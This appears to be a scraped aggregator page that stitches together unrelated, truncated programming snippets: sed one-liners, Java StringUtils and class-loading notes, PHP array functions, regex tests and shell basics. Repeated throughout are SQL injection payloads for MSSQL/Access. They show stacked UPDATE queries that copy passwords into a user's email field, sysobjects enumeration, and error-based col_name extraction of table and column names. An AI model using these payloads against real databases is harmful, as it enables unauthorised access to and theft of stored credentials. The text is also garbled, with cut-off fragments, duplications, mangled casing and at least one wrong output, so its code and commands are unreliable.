When you use-xx:+traceclasspaths or execute jinfo on a server, you get the jar packages Classpath contains, for example:Java.class.path = local/aaa/lib/spring-data-redis-1.8.3.release.jar:/usr/local/aaa/lib/ spring-tx-4.3.8.release.jar:/usr/local/aaa/lib/spring-jdbc-4.3.7.release.jar:/usr/local/aaa/lib/ Classmate-1.3.1
' regexp ' and its front and back lines, plus the ' regexp ' before the first line# line number of rows (similar to "GREP-A1-B1")Sed-n-E '/regexp/{=;x;1!p;g;$! n;p;d;} ' -E H# Displays lines containing "AAA", "BBB" or "CCC" (in any order)
Sed '/aaa/!d/bbb/!d/ccc/!d ' NBS P # The order of the strings does not affect the result # displays lines containing "
/**
* 1, the null judgement of the string org.aphche.commons.lang.StringUtils
*/
Checks If a String is empty ("") or null.
SYSTEM.OUT.PRINTLN (Stringutils.isempty (null)); True
System.out.println (Stringutils.isempty ("")); True
System.out.println (Stringutils.isempty ("")); False
System.out.println (Stringutils.isempty ("Bob"));//False
System.out.println (Stringutils.isempty ( " Bob ")); False
//Checks If a String is whitespace, empty ("") or null.
SYSTEM.OUT
display matching rowsSed-n '/regexp/{g;1!p;}; H # find ' regexp ' and display the next line of matching rows, but do not show matching rowsSed-n '/regexp/{n;p;} ' # Displays the line that contains ' regexp ' and its front and back lines, plus the ' regexp ' before the first line# line number of rows (similar to "GREP-A1-B1")Sed-n-E '/regexp/{=;x;1!p;g;$! n;p;d;} ' -E H # Displays lines containing "AAA", "BBB" or "CCC" (in any order)Sed '/
name = FFFF ;--
; Update [users] Set email = (select top 1 PWD from password where id = 2) Where name = FFFF ;--
; Update [users] Set email = (select top 1 name from password where id = 2) Where name = FFFF ;--
The preceding statement is used to obtain the first user table in the database and put the table name in the FFFF user's mailbox field.
By viewing FFFF user information, you can obtain the first table named ad.
Then, the ID of the table is obtained based on the table name ad. The name of
Php array (2) add elements to the array header
Array_unshift ($ states, 'AAA'); add aaa to the header of the array $ states, that is, the first
Add elements at the end of the array
Array_push ($ states, 'AAA'); add aaa to the end of the array $ states, that is, the lastDelete element from array header
Array_shift ($
) + char (0x73), 0 xffff
)--
Insert into users values (667,123,123, 0 xffff )--
Insert into users values (123, admin --, password, 0 xffff )--
; And user> 0
; And (select count (*) from sysobjects)> 0
; And (select count (*) from mysysobjects)> 0 // name of the data table in the access Database
; Update aaa set aaa = (select top 1 name from sysobjects where xtype = u and
Status> 0 );--
This is to update the
all records of the table
Select * from employee;
// View all codes used by the data
Show variables like 'character % ';
// Modify the client encoding to GBK
Set character_set_client = GBK;
// Modify the result set encoding to GBK.
Set character_set_results = GBK;
// Other insert statements
Create Table
(
Username varchar (20 ),
Password varchar (20)
);
Insert into a values ('zs', '123 ');
Insert into a values ('wangw', '000000'), ('lisi', '000000 ');
Insert a valu
;--; Update [users] Set email = (select top 1 PWD from password where id = 2) Where name = FFFF ;--; Update [users] Set email = (select top 1 name from password where id = 2) Where name = FFFF ;--The above statement is to get the first user table in the _ blank> database, and put the table name in the FFFF user's mailbox field.By viewing FFFF user information, you can obtain the first table named ad.Then, the ID of the table is obtained based on the table name ad. The name of the second table i
How does php compare whether two arrays are equal to two arrays? $ aarray (aaa, bbb, ddd, aaa); $ barray (aaa, ddd, aaa, bbb ); to determine whether the two arrays are equal, the premise is that they cannot be sorted using built-in functions such as sort. If you must use a built-in function, which sort function is the
Java class loading sequence and java Loading Sequence
Java class loading sequence
I. Loading Sequence
1. initialize static member variables of the parent class
1.1 static code block
1.2. Common Code Block
1.3 No parameter Constructor
2. Static code block of the parent class
3. initialize static member variables of subclass
3.1 static code block
3.2. Common Code Block
3.3 No parameter Constructor
4. Static code blocks of child classes
5. initialize common member variables of the parent class
5.1
Class loading order for JavaFirst, load order1. Initialization of the static member variable of the parent class1.1. Static code block1.2, ordinary code block1.3, no parameter constructor2. Static code block for parent class3. Initialization of a static member variable of a subclass 3.1. Static code block 3.2, ordinary code block3.3, no parameter constructor4. Static code blocks for subclasses5. The normal member variable of the parent class is initialized5.1. Static code block5.2, ordinary co
Web site for testing:
Http://www.pagecolumn.com/tool/regtest.htmthe string used for testing is:
BsdfefsdfAaaDfsdfaAAA G: Global lookup Mode
No g will only match 1, plus g to find all the matches
Regular expression:
/aaa/The results match the following:
Bsdfefsdf
Aaa
Dfsdfa
Aaa
Regular expression:
/aaa/gThe result
[users] set email= (select top 1 pwd from password where id=2) where name=ffff;--; Update [users] set email= (select top 1 name from password where id=2) where name=ffff;--The above statement is to get the first user table in the _blank> database and place the table name in the FFFF user's mailbox field.By looking at FFFF's user profile, you can get the first one to use the table called ADAnd then get the ID of the table based on the table name ad to get the name of the second table.Insert into
table that stores all table names, views, constraints, and other objects, xtype= ' U ' and status>0, the name of the table that the user creates, and the above statement takes the first table name out and compares it to 0. Let the error message expose the table name.
;; and (select top 1 col_name (object_id (' table name '), 1) from sysobjects) >0After you get the table name from ⑤, use object_id (' table name ') to get the internal id,col_name (table name id,1) of the table name to represent t
.
;; and (select top 1 col_name (object_id (' table name '), 1) from sysobjects) >0
After you get the table name from ⑤, use object_id (' table name ') to get the internal id,col_name (table name id,1) of the table name to represent the 1th field name of the table, and replace 1 with 2,3,4 ... you can get the name of the field in the puzzle sheet one by one.
Post.htm content: The main is to facilitate input.
Name of his data table:
Id=1552;update AAA
] set email= (select top 1 pwd from password where id=2) where name=ffff;–; Update [users] set email= (select top 1 name from password where id=2) where name=ffff;–The above statement is to get the first user table in the _blank> database and place the table name in the FFFF user's mailbox field.By looking at FFFF's user profile, you get the first table called AD.Then the ID of this table is given by the table name AD to get the name of the second table INSERT into users values (666, char (0x63)
immediately).Clear or shortcut key ctrl+l(clear screen) Ctrl + C or Q (exiting the current process); Ctrl + Z (suspends the process to the background, which is the equivalent of minimizing). BG Jobid (Let the process continue in the background); FG Jobid (Let the process go back to the foreground).Echo (print)Example: (Echo AAA) Print AAA to the console, (a=123) (echo $a) print 124 stored in the A variable
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.